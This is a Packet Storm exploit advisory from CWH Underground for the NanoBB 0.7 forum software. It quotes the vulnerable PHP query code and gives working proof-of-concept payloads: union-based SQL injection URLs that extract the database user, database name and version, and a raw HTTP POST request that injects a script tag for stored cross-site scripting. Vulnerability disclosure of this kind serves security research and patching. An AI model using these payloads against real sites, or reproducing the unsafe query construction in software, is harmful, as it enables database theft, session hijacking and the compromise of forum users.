exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

NanoBB 0.7 Cross Site Scripting / SQL Injection

NanoBB 0.7 Cross Site Scripting / SQL Injection
Posted Jun 10, 2013
Authored by CWH Underground

NanoBB version 0.7 suffers from cross site scripting and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection
SHA-256 | 83e3693f866591301cbb5f6157865c114f517dbdea2d30608ef6a6dd724b3655

NanoBB 0.7 Cross Site Scripting / SQL Injection

Change Mirror Download
# Exploit Title   : NanoBB 0.7 Multiple Vulnerabilities
# Date : 10 June 2013
# Exploit Author : CWH Underground
# Site : www.2600.in.th
# Vendor Homepage : https://nanobb.sourceforge.net/
# Software Link : heanet.dl.sourceforge.net/project/nanobb/v0.7.zip
# Version : 0.7
# Tested on : Window and Linux

,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'

##############################################
VULNERABILITY: SQL Injection (Category,Topic)
##############################################

/category.php (LINE: 7-16)

-----------------------------------------------------------------------------
LINE 7-16:

$sql = "SELECT
cat_id,
cat_name,
cat_description
FROM
categories
WHERE
cat_id = " . mysql_real_escape_string($_GET['id']);

$result = mysql_query($sql);
-----------------------------------------------------------------------------


/topic.php (LINE: 7-16)

-----------------------------------------------------------------------------
LINE 11-19:

$sql = "SELECT
topic_id,
topic_subject
FROM
topics
WHERE
topics.topic_id = " . mysql_real_escape_string($_GET['id']);

$result = mysql_query($sql);
-----------------------------------------------------------------------------


#####################################################
DESCRIPTION FOR SQL INJECTION
#####################################################

An attacker might execute arbitrary SQL commands on the database server with this vulnerability.
User tainted data is used when creating the database query that will be executed on the database management system (DBMS).
An attacker can inject own SQL syntax thus initiate reading, inserting or deleting database entries or attacking the underlying operating system
depending on the query, DBMS and configuration.

POC:

https://target/nano/category.php?id=9%20and%201%20div%202%20union%20select%201,concat%28user%28%29,0x3a3a,database%28%29,0x3a3a,version%28%29%29,3
https://target/nano/topic.php?id=10%20and%201%20div%200%20union%20select%201,concat%28user%28%29,0x3a3a,database%28%29,0x3a3a,version%28%29%29


#####################################################
VULNERABILITY: Cross Site Scripting (Create_topic.php)
#####################################################

/category.php (LINE: 106-119)

-----------------------------------------------------------------------------
LINE 106-119:

$topicid = mysql_insert_id();

$sql = "INSERT INTO
posts(post_content,
post_date,
post_topic,
post_by)
VALUES
('" . mysql_real_escape_string($_POST['post_content']) . "',
NOW(),
" . $topicid . ",
" . $_SESSION['user_id'] . "
)";
$result = mysql_query($sql);
-----------------------------------------------------------------------------


#####################################################
DESCRIPTION FOR CROSS SITE SCRIPTING
#####################################################

An attacker might execute arbitrary HTML/JavaScript Code in the clients browser context with this security vulnerability.
User tainted data is embedded into the HTML output by the application and rendered by the users browser, thus allowing an attacker
to embed and render malicious code. Preparing a malicious link will lead to an execution of this malicious code in another users browser
context when clicking the link. This can lead to local website defacement, phishing or cookie stealing and session hijacking.

POC:

POST /nano/create_topic.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://localhost/nano/create_topic.php
Cookie: __utma=111872281.1795322081.1369810583.1369810583.1369810583.1; __utmz=111872281.1369810583.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); lang=en_US; PHPSESSID=gbf1u3p49bid3b1g4cnhuplco5
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 98
topic_subject=Test+XSS&topic_cat=7&post_content=%3Cscript%3Ealert%28%22XSS%22%29%3B%3C%2Fscript%3E


################################################################################################################
Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close